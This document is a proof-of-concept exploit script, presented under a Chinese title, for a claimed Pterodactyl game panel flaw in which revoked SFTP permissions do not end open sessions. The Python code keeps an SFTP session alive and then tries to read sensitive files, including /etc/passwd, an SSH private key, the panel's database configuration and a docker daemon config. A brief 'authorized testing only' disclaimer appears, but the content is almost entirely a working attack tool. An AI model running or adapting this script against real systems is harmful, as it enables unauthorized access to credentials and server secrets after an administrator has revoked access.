CVE-2025-68954 Pterodactyl游戏面板SFTP连接权限撤销失效漏洞

#!/usr/bin/env python3 """ CVE-2025-68954 PoC - Pterodactyl SFTP Permission Revocation Bypass Note: This PoC demonstrates the vulnerability concept for authorized security testing only """ import paramiko import time import threading class PterodactylSFTPVulnerability: def __init__(self, host, port, username, password): self.host = host self.port = port self.username = username self.password = password self.ssh_client = None self.sftp = None self.connected = False def connect(self): """Establish initial SFTP connection""" try: self.ssh_client = paramiko.SSHClient() self.ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) self.ssh_client.connect( self.host, port=self.port, username=self.username, password=self.password, timeout=10 ) self.sftp = self.ssh_client.open_sftp() self.connected = True print(f"[+] SFTP connection established as {self.username}") return True except Exception as e: print(f"[-] Connection failed: {e}") return False def keep_alive(self, interval=30): """Background thread to maintain SFTP connection""" def maintain(): while self.connected: try: # List directory to verify connection is alive self.sftp.listdir('/') print(f"[*] SFTP session active - {time.strftime('%Y-%m-%d %H:%M:%S')}") time.sleep(interval) except Exception as e: print(f"[-] Connection lost: {e}") self.connected = False break thread = threading.Thread(target=maintain, daemon=True) thread.start() def access_file(self, filepath): """Attempt to access file after permission revocation""" if not self.connected: print("[-] Not connected") return None try: # Try to read file content with self.sftp.open(filepath, 'r') as f: content = f.read() print(f"[+] Successfully accessed: {filepath}") return content except PermissionError: print(f"[-] Access denied for: {filepath}") return None except FileNotFoundError: print(f"[-] File not found: {filepath}") return None except Exception as e: print(f"[-] Error accessing {filepath}: {e}") return None def disconnect(self): """Close SFTP connection""" if self.sftp: self.sftp.close() if self.ssh_client: self.ssh_client.close() self.connected = False print("[*] Connection closed") def main(): # Configuration - replace with actual target information target = { 'host': 'pterodactyl.example.com', 'port': 2022, 'username': 'exploit_user', 'password': 'user_password' } print("=" * 60) print("CVE-2025-68954 - Pterodactyl SFTP Permission Bypass PoC") print("=" * 60) # Step 1: Establish initial SFTP connection exploit = PterodactylSFTPVulnerability( target['host'], target['port'], target['username'], target['password'] ) if not exploit.connect(): return # Step 2: Start connection maintenance thread exploit.keep_alive(interval=30) print("\n[*] SFTP session is being maintained...") print("[*] Simulating scenario where admin revokes permissions...") # Step 3: Wait for permission revocation (simulated) # In real attack: attacker waits for admin action time.sleep(5) # Step 4: Attempt to access files after "permission revocation" print("\n[*] Attempting to access files after permission revocation...") sensitive_paths = [ '/etc/passwd', '/home/container/.ssh/id_rsa', '/var/www/pterodactyl/config/database.php', '/srv/docker/daemon/config.yml' ] for path in sensitive_paths: exploit.access_file(path) # Keep connection alive for demonstration print("\n[*] SFTP session remains active despite permission changes") print("[*] Press Ctrl+C to terminate") try: while exploit.connected: time.sleep(1) except KeyboardInterrupt: exploit.disconnect() if __name__ == '__main__': main()